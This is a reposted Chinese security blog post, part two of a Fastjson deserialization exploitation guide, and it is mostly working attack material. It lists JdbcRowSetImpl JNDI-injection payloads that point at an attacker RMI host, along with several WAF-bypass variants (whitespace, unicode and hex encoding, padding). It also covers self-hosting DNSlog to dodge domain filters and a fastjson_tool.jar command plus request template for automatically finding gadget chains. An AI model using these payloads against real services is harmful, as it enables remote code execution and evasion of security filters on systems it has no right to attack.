Fastjson:我一路向北,离开有你的季节(下)

admin 2023年3月6日20:34:56评论20 views字数 2235阅读7分27秒阅读模式
Fastjson:我一路向北,离开有你的季节(下)

点击上方“蓝字”,关注更多精彩

bypass waf

近几年waf的是反序列化漏洞头号大敌,面对waf的封禁,我们又该何去何从勒?

利用Fastjson默认会去除键、值外的空格、b、n、r、f等特性,并且还会自动将键与值进行unicode与十六进制解码,扩展出bypass的方法:

原生payload:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

bypass版本

{/s6/"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}{n"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}{"@type"b:"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}{"u0040u0074u0079u0070u0065":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}{"x40x74x79x70x65":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

可应对关键字的封禁。

同理利用特性大包绕也是可能的

{/s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6/"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

有一些waf则检测一些域名,比如dnslog的平台,这时候就可以自己搭建dnslog平台,进行测试:

需要准备:

两个域名,或者一个阿里云的域名。vps服务器一台DNSlog项目:

https://github.com/lanyi1998/DNSlog-GO/releases

Fastjson:我一路向北,离开有你的季节(下)
Fastjson:我一路向北,离开有你的季节(下)

总结

理论上,1.2.68之前的都能打死,就是看环境允不允许,因为jndi注入的利用受jdk版本影响较大,所以在利用的时候还是要多尝试的,实际利用场景还得看实际的环境,多尝试一些payload是好的,在利用bcel打高版本的jdk时,需要去跑链。

测利用链:

Fastjson.LDAPRefServerAuto: 自动找寻反序列可利用的gadget(cb1,cc1-10,spring1-2,groovy1,jdk7u21)

java -cp fastjson_tool.jar fastjson.LDAPRefServerAuto 127.0.0.1 1099file=filename

filename为请求包,需要插入fastjson攻击语句的地方,用PAYLOAD代替,示例:

POST /fastjson_demo HTTP/1.1 Host: xx.xx.xx.xx Connection:keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.16Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: application/json Content-Length: 165

PAYLOAD

Fastjson:我一路向北,离开有你的季节(下)

END

Fastjson:我一路向北,离开有你的季节(下)
Fastjson:我一路向北,离开有你的季节(下)

看完记得点赞,关注哟,爱您!

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!
关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!
在看你就赞赞我!
Fastjson:我一路向北,离开有你的季节(下)
Fastjson:我一路向北,离开有你的季节(下)
Fastjson:我一路向北,离开有你的季节(下)
Fastjson:我一路向北,离开有你的季节(下)
扫码关注我们
Fastjson:我一路向北,离开有你的季节(下)

扫码领hacker资料,常用工具,以及各种福利

Fastjson:我一路向北,离开有你的季节(下)

转载是一种动力 分享是一种美德

原文始发于微信公众号(Gamma实验室):Fastjson:我一路向北,离开有你的季节(下)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月6日20:34:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson:我一路向北,离开有你的季节(下)http://cn-sec.com/archives/1248340.html

发表评论

匿名网友 填写信息